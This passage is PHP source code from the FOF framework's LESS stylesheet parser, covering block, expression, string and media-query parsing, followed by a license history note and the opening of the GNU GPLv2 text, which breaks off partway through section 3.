if ($this->tag($tag, true) && $this->argumentDef($args,
$isVararg)
&& ($this->guards($guards) || true)
&& $this->literal('{'))
{
$block = $this->pushBlock($this->fixTags(array($tag)));
$block->args = $args;
$block->isVararg = $isVararg;
if (!empty($guards))
{
$block->guards = $guards;
}
return true;
}
else
{
$this->seek($s);
}
// Opening a simple block
if ($this->tags($tags) && $this->literal('{'))
{
$tags = $this->fixTags($tags);
$this->pushBlock($tags);
return true;
}
else
{
$this->seek($s);
}
// Closing a block
if ($this->literal('}', false))
{
try
{
$block = $this->pop();
}
catch (exception $e)
{
$this->seek($s);
$this->throwError($e->getMessage());
}
$hidden = false;
if (is_null($block->type))
{
$hidden = true;
if (!isset($block->args))
{
foreach ($block->tags as $tag)
{
if (!is_string($tag) || $tag[0] != $this->lessc->mPrefix)
{
$hidden = false;
break;
}
}
}
foreach ($block->tags as $tag)
{
if (is_string($tag))
{
$this->env->children[$tag][] = $block;
}
}
}
if (!$hidden)
{
$this->append(array('block', $block), $s);
}
// This is done here so comments aren't bundled into he block that
was just closed
$this->whitespace();
return true;
}
// Mixin
if ($this->mixinTags($tags)
&& ($this->argumentValues($argv) || true)
&& ($this->keyword($suffix) || true)
&& $this->end())
{
$tags = $this->fixTags($tags);
$this->append(array('mixin', $tags, $argv, $suffix), $s);
return true;
}
else
{
$this->seek($s);
}
// Spare ;
if ($this->literal(';'))
{
return true;
}
// Got nothing, throw error
return false;
}
/**
* [isDirective description]
*
* @param string $dirname [description]
* @param [type] $directives [description]
*
* @return boolean
*/
protected function isDirective($dirname, $directives)
{
// TODO: cache pattern in parser
$pattern = implode("|", array_map(array("FOFLess",
"preg_quote"), $directives));
$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';
return preg_match($pattern, $dirname);
}
/**
* [fixTags description]
*
* @param [type] $tags [description]
*
* @return [type] [description]
*/
protected function fixTags($tags)
{
// Move @ tags out of variable namespace
foreach ($tags as &$tag)
{
if ($tag[0] == $this->lessc->vPrefix)
{
$tag[0] = $this->lessc->mPrefix;
}
}
return $tags;
}
/**
* a list of expressions
*
* @param [type] &$exps [description]
*
* @return boolean
*/
protected function expressionList(&$exps)
{
$values = array();
while ($this->expression($exp))
{
$values[] = $exp;
}
if (count($values) == 0)
{
return false;
}
$exps = FOFLess::compressList($values, ' ');
return true;
}
/**
* Attempt to consume an expression.
*
* @param string &$out [description]
*
* @link
http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
*
* @return boolean
*/
protected function expression(&$out)
{
if ($this->value($lhs))
{
$out = $this->expHelper($lhs, 0);
// Look for / shorthand
if (!empty($this->env->supressedDivision))
{
unset($this->env->supressedDivision);
$s = $this->seek();
if ($this->literal("/") && $this->value($rhs))
{
$out = array("list", "",
array($out, array("keyword", "/"), $rhs));
}
else
{
$this->seek($s);
}
}
return true;
}
return false;
}
/**
* Recursively parse infix equation with $lhs at precedence $minP
*
* @param type $lhs [description]
* @param type $minP [description]
*
* @return string
*/
protected function expHelper($lhs, $minP)
{
$this->inExp = true;
$ss = $this->seek();
while (true)
{
$whiteBefore = isset($this->buffer[$this->count - 1]) &&
ctype_space($this->buffer[$this->count - 1]);
// If there is whitespace before the operator, then we require
// whitespace after the operator for it to be an expression
$needWhite = $whiteBefore && !$this->inParens;
if ($this->match(self::$operatorString . ($needWhite ? '\s'
: ''), $m) && self::$precedence[$m[1]] >= $minP)
{
if (!$this->inParens &&
isset($this->env->currentProperty) && $m[1] == "/"
&& empty($this->env->supressedDivision))
{
foreach (self::$supressDivisionProps as $pattern)
{
if (preg_match($pattern, $this->env->currentProperty))
{
$this->env->supressedDivision = true;
break 2;
}
}
}
$whiteAfter = isset($this->buffer[$this->count - 1]) &&
ctype_space($this->buffer[$this->count - 1]);
if (!$this->value($rhs))
{
break;
}
// Peek for next operator to see what to do with rhs
if ($this->peek(self::$operatorString, $next) &&
self::$precedence[$next[1]] > self::$precedence[$m[1]])
{
$rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
}
$lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore,
$whiteAfter);
$ss = $this->seek();
continue;
}
break;
}
$this->seek($ss);
return $lhs;
}
/**
* Consume a list of values for a property
*
* @param [type] &$value [description]
* @param [type] $keyName [description]
*
* @return boolean
*/
public function propertyValue(&$value, $keyName = null)
{
$values = array();
if ($keyName !== null)
{
$this->env->currentProperty = $keyName;
}
$s = null;
while ($this->expressionList($v))
{
$values[] = $v;
$s = $this->seek();
if (!$this->literal(','))
{
break;
}
}
if ($s)
{
$this->seek($s);
}
if ($keyName !== null)
{
unset($this->env->currentProperty);
}
if (count($values) == 0)
{
return false;
}
$value = FOFLess::compressList($values, ', ');
return true;
}
/**
* [parenValue description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function parenValue(&$out)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "(")
{
return false;
}
$inParens = $this->inParens;
if ($this->literal("(") && ($this->inParens =
true) && $this->expression($exp) &&
$this->literal(")"))
{
$out = $exp;
$this->inParens = $inParens;
return true;
}
else
{
$this->inParens = $inParens;
$this->seek($s);
}
return false;
}
/**
* a single value
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function value(&$value)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "-")
{
// Negation
if ($this->literal("-", false)
&&(($this->variable($inner) && $inner =
array("variable", $inner))
|| $this->unit($inner) || $this->parenValue($inner)))
{
$value = array("unary", "-", $inner);
return true;
}
else
{
$this->seek($s);
}
}
if ($this->parenValue($value))
{
return true;
}
if ($this->unit($value))
{
return true;
}
if ($this->color($value))
{
return true;
}
if ($this->func($value))
{
return true;
}
if ($this->string($value))
{
return true;
}
if ($this->keyword($word))
{
$value = array('keyword', $word);
return true;
}
// Try a variable
if ($this->variable($var))
{
$value = array('variable', $var);
return true;
}
// Unquote string (should this work on any type?
if ($this->literal("~") && $this->string($str))
{
$value = array("escape", $str);
return true;
}
else
{
$this->seek($s);
}
// Css hack: \0
if ($this->literal('\\') &&
$this->match('([0-9]+)', $m))
{
$value = array('keyword', '\\' . $m[1]);
return true;
}
else
{
$this->seek($s);
}
return false;
}
/**
* an import statement
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function import(&$out)
{
$s = $this->seek();
if (!$this->literal('@import'))
{
return false;
}
/*
* @import "something.css" media;
* @import url("something.css") media;
* @import url(something.css) media;
*/
if ($this->propertyValue($value))
{
$out = array("import", $value);
return true;
}
}
/**
* [mediaQueryList description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaQueryList(&$out)
{
if ($this->genericList($list, "mediaQuery", ",",
false))
{
$out = $list[2];
return true;
}
return false;
}
/**
* [mediaQuery description]
*
* @param [type] &$out [description]
*
* @return [type] [description]
*/
protected function mediaQuery(&$out)
{
$s = $this->seek();
$expressions = null;
$parts = array();
if (($this->literal("only") && ($only = true) ||
$this->literal("not") && ($not = true) || true)
&& $this->keyword($mediaType))
{
$prop = array("mediaType");
if (isset($only))
{
$prop[] = "only";
}
if (isset($not))
{
$prop[] = "not";
}
$prop[] = $mediaType;
$parts[] = $prop;
}
else
{
$this->seek($s);
}
if (!empty($mediaType) && !$this->literal("and"))
{
// ~
}
else
{
$this->genericList($expressions, "mediaExpression",
"and", false);
if (is_array($expressions))
{
$parts = array_merge($parts, $expressions[2]);
}
}
if (count($parts) == 0)
{
$this->seek($s);
return false;
}
$out = $parts;
return true;
}
/**
* [mediaExpression description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaExpression(&$out)
{
$s = $this->seek();
$value = null;
if ($this->literal("(") &&
$this->keyword($feature) && ($this->literal(":")
&& $this->expression($value) || true) &&
$this->literal(")"))
{
$out = array("mediaExp", $feature);
if ($value)
{
$out[] = $value;
}
return true;
}
elseif ($this->variable($variable))
{
$out = array('variable', $variable);
return true;
}
$this->seek($s);
return false;
}
/**
* An unbounded string stopped by $end
*
* @param [type] $end [description]
* @param [type] &$out [description]
* @param [type] $nestingOpen [description]
* @param [type] $rejectStrs [description]
*
* @return boolean
*/
protected function openString($end, &$out, $nestingOpen = null,
$rejectStrs = null)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$stop = array("'", '"', "@{",
$end);
$stop = array_map(array("FOFLess", "preg_quote"),
$stop);
// $stop[] = self::$commentMulti;
if (!is_null($rejectStrs))
{
$stop = array_merge($stop, $rejectStrs);
}
$patt = '(.*?)(' . implode("|", $stop) .
')';
$nestingLevel = 0;
$content = array();
while ($this->match($patt, $m, false))
{
if (!empty($m[1]))
{
$content[] = $m[1];
if ($nestingOpen)
{
$nestingLevel += substr_count($m[1], $nestingOpen);
}
}
$tok = $m[2];
$this->count -= strlen($tok);
if ($tok == $end)
{
if ($nestingLevel == 0)
{
break;
}
else
{
$nestingLevel--;
}
}
if (($tok == "'" || $tok == '"')
&& $this->string($str))
{
$content[] = $str;
continue;
}
if ($tok == "@{" && $this->interpolation($inter))
{
$content[] = $inter;
continue;
}
if (in_array($tok, $rejectStrs))
{
$count = null;
break;
}
$content[] = $tok;
$this->count += strlen($tok);
}
$this->eatWhiteDefault = $oldWhite;
if (count($content) == 0)
return false;
// Trim the end
if (is_string(end($content)))
{
$content[count($content) - 1] = rtrim(end($content));
}
$out = array("string", "", $content);
return true;
}
/**
* [string description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function string(&$out)
{
$s = $this->seek();
if ($this->literal('"', false))
{
$delim = '"';
}
elseif ($this->literal("'", false))
{
$delim = "'";
}
else
{
return false;
}
$content = array();
// Look for either ending delim , escape, or string interpolation
$patt = '([^\n]*?)(@\{|\\\\|' . FOFLess::preg_quote($delim) .
')';
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while ($this->match($patt, $m, false))
{
$content[] = $m[1];
if ($m[2] == "@{")
{
$this->count -= strlen($m[2]);
if ($this->interpolation($inter, false))
{
$content[] = $inter;
}
else
{
$this->count += strlen($m[2]);
// Ignore it
$content[] = "@{";
}
}
elseif ($m[2] == '\\')
{
$content[] = $m[2];
if ($this->literal($delim, false))
{
$content[] = $delim;
}
}
else
{
$this->count -= strlen($delim);
// Delim
break;
}
}
$this->eatWhiteDefault = $oldWhite;
if ($this->literal($delim))
{
$out = array("string", $delim, $content);
return true;
}
$this->seek($s);
return false;
}
/**
* [interpolation description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function interpolation(&$out)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = true;
$s = $this->seek();
if ($this->literal("@{") &&
$this->openString("}", $interp, null,
array("'", '"', ";")) &&
$this->literal("}", false))
{
$out = array("interpolate", $interp);
$this->eatWhiteDefault = $oldWhite;
if ($this->eatWhiteDefault)
{
$this->whitespace();
}
return true;
}
$this->eatWhiteDefault = $oldWhite;
$this->seek($s);
return false;
}
/**
* [unit description]
*
* @param [type] &$unit [description]
*
* @return boolean
*/
protected function unit(&$unit)
{
// Speed shortcut
if (isset($this->buffer[$this->count]))
{
$char = $this->buffer[$this->count];
if (!ctype_digit($char) && $char != ".")
{
return false;
}
}
if
($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?',
$m))
{
$unit = array("number", $m[1], empty($m[2]) ? "" :
$m[2]);
return true;
}
return false;
}
/**
* a # color
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function color(&$out)
{
if
($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))',
$m))
{
if (strlen($m[1]) > 7)
{
$out = array("string", "", array($m[1]));
}
else
{
$out = array("raw_color", $m[1]);
}
return true;
}
return false;
}
/**
* Consume a list of property values delimited by ; and wrapped in ()
*
* @param [type] &$args [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentValues(&$args, $delim = ',')
{
$s = $this->seek();
if (!$this->literal('('))
{
return false;
}
$values = array();
while (true)
{
if ($this->expressionList($value))
{
$values[] = $value;
}
if (!$this->literal($delim))
{
break;
}
else
{
if ($value == null)
{
$values[] = null;
}
$value = null;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume an argument definition list surrounded by ()
* each argument is a variable name with optional value
* or at the end a ... or a variable named followed by ...
*
* @param [type] &$args [description]
* @param [type] &$isVararg [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentDef(&$args, &$isVararg, $delim =
',')
{
$s = $this->seek();
if (!$this->literal('('))
return false;
$values = array();
$isVararg = false;
while (true)
{
if ($this->literal("..."))
{
$isVararg = true;
break;
}
if ($this->variable($vname))
{
$arg = array("arg", $vname);
$ss = $this->seek();
if ($this->assign() && $this->expressionList($value))
{
$arg[] = $value;
}
else
{
$this->seek($ss);
if ($this->literal("..."))
{
$arg[0] = "rest";
$isVararg = true;
}
}
$values[] = $arg;
if ($isVararg)
{
break;
}
continue;
}
if ($this->value($literal))
{
$values[] = array("lit", $literal);
}
if (!$this->literal($delim))
{
break;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume a list of tags
* This accepts a hanging delimiter
*
* @param [type] &$tags [description]
* @param [type] $simple [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function tags(&$tags, $simple = false, $delim =
',')
{
$tags = array();
while ($this->tag($tt, $simple))
{
$tags[] = $tt;
if (!$this->literal($delim))
{
break;
}
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* List of tags of specifying mixin path
* Optionally separated by > (lazy, accepts extra >)
*
* @param [type] &$tags [description]
*
* @return boolean
*/
protected function mixinTags(&$tags)
{
$s = $this->seek();
$tags = array();
while ($this->tag($tt, true))
{
$tags[] = $tt;
$this->literal(">");
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* A bracketed value (contained within in a tag definition)
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagBracket(&$value)
{
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "[")
{
return false;
}
$s = $this->seek();
if ($this->literal('[') &&
$this->to(']', $c, true) &&
$this->literal(']', false))
{
$value = '[' . $c . ']';
// Whitespace?
if ($this->whitespace())
{
$value .= " ";
}
// Escape parent selector, (yuck)
$value = str_replace($this->lessc->parentSelector,
"$&$", $value);
return true;
}
$this->seek($s);
return false;
}
/**
* [tagExpression description]
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagExpression(&$value)
{
$s = $this->seek();
if ($this->literal("(") &&
$this->expression($exp) && $this->literal(")"))
{
$value = array('exp', $exp);
return true;
}
$this->seek($s);
return false;
}
/**
* A single tag
*
* @param [type] &$tag [description]
* @param boolean $simple [description]
*
* @return boolean
*/
protected function tag(&$tag, $simple = false)
{
if ($simple)
{
$chars = '^@,:;{}\][>\(\) "\'';
}
else
{
$chars = '^@,;{}["\'';
}
$s = $this->seek();
if (!$simple && $this->tagExpression($tag))
{
return true;
}
$hasExpression = false;
$parts = array();
while ($this->tagBracket($first))
{
$parts[] = $first;
}
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while (true)
{
if ($this->match('([' . $chars . '0-9][' . $chars
. ']*)', $m))
{
$parts[] = $m[1];
if ($simple)
{
break;
}
while ($this->tagBracket($brack))
{
$parts[] = $brack;
}
continue;
}
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "@")
{
if ($this->interpolation($interp))
{
$hasExpression = true;
// Don't unescape
$interp[2] = true;
$parts[] = $interp;
continue;
}
if ($this->literal("@"))
{
$parts[] = "@";
continue;
}
}
// For keyframes
if ($this->unit($unit))
{
$parts[] = $unit[1];
$parts[] = $unit[2];
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (!$parts)
{
$this->seek($s);
return false;
}
if ($hasExpression)
{
$tag = array("exp", array("string", "",
$parts));
}
else
{
$tag = trim(implode($parts));
}
$this->whitespace();
return true;
}
/**
* A css function
*
* @param [type] &$func [description]
*
* @return boolean
*/
protected function func(&$func)
{
$s = $this->seek();
if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m)
&& $this->literal('('))
{
$fname = $m[1];
$sPreArgs = $this->seek();
$args = array();
while (true)
{
$ss = $this->seek();
// This ugly nonsense is for ie filter properties
if ($this->keyword($name) &&
$this->literal('=') &&
$this->expressionList($value))
{
$args[] = array("string", "", array($name,
"=", $value));
}
else
{
$this->seek($ss);
if ($this->expressionList($value))
{
$args[] = $value;
}
}
if (!$this->literal(','))
{
break;
}
}
$args = array('list', ',', $args);
if ($this->literal(')'))
{
$func = array('function', $fname, $args);
return true;
}
elseif ($fname == 'url')
{
// Couldn't parse and in url? treat as string
$this->seek($sPreArgs);
if ($this->openString(")", $string) &&
$this->literal(")"))
{
$func = array('function', $fname, $string);
return true;
}
}
}
$this->seek($s);
return false;
}
/**
* Consume a less variable
*
* @param [type] &$name [description]
*
* @return boolean
*/
protected function variable(&$name)
{
$s = $this->seek();
if ($this->literal($this->lessc->vPrefix, false)
&& ($this->variable($sub) || $this->keyword($name)))
{
if (!empty($sub))
{
$name = array('variable', $sub);
}
else
{
$name = $this->lessc->vPrefix . $name;
}
return true;
}
$name = null;
$this->seek($s);
return false;
}
/**
* Consume an assignment operator
* Can optionally take a name that will be set to the current property
name
*
* @param string $name [description]
*
* @return boolean
*/
protected function assign($name = null)
{
if ($name)
{
$this->currentProperty = $name;
}
return $this->literal(':') ||
$this->literal('=');
}
/**
* Consume a keyword
*
* @param [type] &$word [description]
*
* @return boolean
*/
protected function keyword(&$word)
{
if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m))
{
$word = $m[1];
return true;
}
return false;
}
/**
* Consume an end of statement delimiter
*
* @return boolean
*/
protected function end()
{
if ($this->literal(';'))
{
return true;
}
elseif ($this->count == strlen($this->buffer) ||
$this->buffer[$this->count] == '}')
{
// If there is end of file or a closing block next then we don't
need a ;
return true;
}
return false;
}
/**
* [guards description]
*
* @param [type] &$guards [description]
*
* @return boolean
*/
protected function guards(&$guards)
{
$s = $this->seek();
if (!$this->literal("when"))
{
$this->seek($s);
return false;
}
$guards = array();
while ($this->guardGroup($g))
{
$guards[] = $g;
if (!$this->literal(","))
{
break;
}
}
if (count($guards) == 0)
{
$guards = null;
$this->seek($s);
return false;
}
return true;
}
/**
* A bunch of guards that are and'd together
*
* @param [type] &$guardGroup [description]
*
* @todo rename to guardGroup
*
* @return boolean
*/
protected function guardGroup(&$guardGroup)
{
$s = $this->seek();
$guardGroup = array();
while ($this->guard($guard))
{
$guardGroup[] = $guard;
if (!$this->literal("and"))
{
break;
}
}
if (count($guardGroup) == 0)
{
$guardGroup = null;
$this->seek($s);
return false;
}
return true;
}
/**
* [guard description]
*
* @param [type] &$guard [description]
*
* @return boolean
*/
protected function guard(&$guard)
{
$s = $this->seek();
$negate = $this->literal("not");
if ($this->literal("(") &&
$this->expression($exp) && $this->literal(")"))
{
$guard = $exp;
if ($negate)
{
$guard = array("negate", $guard);
}
return true;
}
$this->seek($s);
return false;
}
/* raw parsing functions */
/**
* [literal description]
*
* @param [type] $what [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function literal($what, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
// Shortcut on single letter
if (!isset($what[1]) && isset($this->buffer[$this->count]))
{
if ($this->buffer[$this->count] == $what)
{
if (!$eatWhitespace)
{
$this->count++;
return true;
}
}
else
{
return false;
}
}
if (!isset(self::$literalCache[$what]))
{
self::$literalCache[$what] = FOFLess::preg_quote($what);
}
return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
}
/**
* [genericList description]
*
* @param [type] &$out [description]
* @param [type] $parseItem [description]
* @param string $delim [description]
* @param boolean $flatten [description]
*
* @return boolean
*/
protected function genericList(&$out, $parseItem, $delim =
"", $flatten = true)
{
$s = $this->seek();
$items = array();
while ($this->$parseItem($value))
{
$items[] = $value;
if ($delim)
{
if (!$this->literal($delim))
{
break;
}
}
}
if (count($items) == 0)
{
$this->seek($s);
return false;
}
if ($flatten && count($items) == 1)
{
$out = $items[0];
}
else
{
$out = array("list", $delim, $items);
}
return true;
}
/**
* Advance counter to next occurrence of $what
* $until - don't include $what in advance
* $allowNewline, if string, will be used as valid char set
*
* @param [type] $what [description]
* @param [type] &$out [description]
* @param boolean $until [description]
* @param boolean $allowNewline [description]
*
* @return boolean
*/
protected function to($what, &$out, $until = false, $allowNewline =
false)
{
if (is_string($allowNewline))
{
$validChars = $allowNewline;
}
else
{
$validChars = $allowNewline ? "." : "[^\n]";
}
if (!$this->match('(' . $validChars . '*?)' .
FOFLess::preg_quote($what), $m, !$until))
{
return false;
}
if ($until)
{
// Give back $what
$this->count -= strlen($what);
}
$out = $m[1];
return true;
}
/**
* Try to match something on head of buffer
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function match($regex, &$out, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
$r = '/' . $regex . ($eatWhitespace &&
!$this->writeComments ? '\s*' : '') .
'/Ais';
if (preg_match($r, $this->buffer, $out, null, $this->count))
{
$this->count += strlen($out[0]);
if ($eatWhitespace && $this->writeComments)
{
$this->whitespace();
}
return true;
}
return false;
}
/**
* Watch some whitespace
*
* @return boolean
*/
protected function whitespace()
{
if ($this->writeComments)
{
$gotWhite = false;
while (preg_match(self::$whitePattern, $this->buffer, $m, null,
$this->count))
{
if (isset($m[1]) &&
empty($this->commentsSeen[$this->count]))
{
$this->append(array("comment", $m[1]));
$this->commentsSeen[$this->count] = true;
}
$this->count += strlen($m[0]);
$gotWhite = true;
}
return $gotWhite;
}
else
{
$this->match("", $m);
return strlen($m[0]) > 0;
}
}
/**
* Match something without consuming it
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $from [description]
*
* @return boolean
*/
protected function peek($regex, &$out = null, $from = null)
{
if (is_null($from))
{
$from = $this->count;
}
$r = '/' . $regex . '/Ais';
$result = preg_match($r, $this->buffer, $out, null, $from);
return $result;
}
/**
* Seek to a spot in the buffer or return where we are on no argument
*
* @param [type] $where [description]
*
* @return boolean
*/
protected function seek($where = null)
{
if ($where === null)
{
return $this->count;
}
else
{
$this->count = $where;
}
return true;
}
/* misc functions */
/**
* [throwError description]
*
* @param string $msg [description]
* @param [type] $count [description]
*
* @return void
*/
public function throwError($msg = "parse error", $count = null)
{
$count = is_null($count) ? $this->count : $count;
$line = $this->line + substr_count(substr($this->buffer, 0,
$count), "\n");
if (!empty($this->sourceName))
{
$loc = "$this->sourceName on line $line";
}
else
{
$loc = "line: $line";
}
// TODO this depends on $this->count
if ($this->peek("(.*?)(\n|$)", $m, $count))
{
throw new exception("$msg: failed at `$m[1]` $loc");
}
else
{
throw new exception("$msg: $loc");
}
}
/**
* [pushBlock description]
*
* @param [type] $selectors [description]
* @param [type] $type [description]
*
* @return stdClass
*/
protected function pushBlock($selectors = null, $type = null)
{
$b = new stdclass;
$b->parent = $this->env;
$b->type = $type;
$b->id = self::$nextBlockId++;
// TODO: kill me from here
$b->isVararg = false;
$b->tags = $selectors;
$b->props = array();
$b->children = array();
$this->env = $b;
return $b;
}
/**
* Push a block that doesn't multiply tags
*
* @param [type] $type [description]
*
* @return stdClass
*/
protected function pushSpecialBlock($type)
{
return $this->pushBlock(null, $type);
}
/**
* Append a property to the current block
*
* @param [type] $prop [description]
* @param [type] $pos [description]
*
* @return void
*/
protected function append($prop, $pos = null)
{
if ($pos !== null)
{
$prop[-1] = $pos;
}
$this->env->props[] = $prop;
}
/**
* Pop something off the stack
*
* @return [type] [description]
*/
protected function pop()
{
$old = $this->env;
$this->env = $this->env->parent;
return $old;
}
/**
* Remove comments from $text
*
* @param [type] $text [description]
*
* @todo: make it work for all functions, not just url
*
* @return [type] [description]
*/
protected function removeComments($text)
{
$look = array(
'url(', '//', '/*', '"',
"'"
);
$out = '';
$min = null;
while (true)
{
// Find the next item
foreach ($look as $token)
{
$pos = strpos($text, $token);
if ($pos !== false)
{
if (!isset($min) || $pos < $min[1])
{
$min = array($token, $pos);
}
}
}
if (is_null($min))
break;
$count = $min[1];
$skip = 0;
$newlines = 0;
switch ($min[0])
{
case 'url(':
if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - strlen($min[0]);
}
break;
case '"':
case "'":
if (preg_match('/' . $min[0] . '.*?' . $min[0] .
'/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - 1;
}
break;
case '//':
$skip = strpos($text, "\n", $count);
if ($skip === false)
{
$skip = strlen($text) - $count;
}
else
{
$skip -= $count;
}
break;
case '/*':
if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count))
{
$skip = strlen($m[0]);
$newlines = substr_count($m[0], "\n");
}
break;
}
if ($skip == 0)
{
$count += strlen($min[0]);
}
$out .= substr($text, 0, $count) . str_repeat("\n",
$newlines);
$text = substr($text, $count + $skip);
$min = null;
}
return $out . $text;
}
}
================================================================================
Historical note
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
On February 21st, 2013 FOF changed its license to GPLv2 or later.
================================================================================
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange;
or,
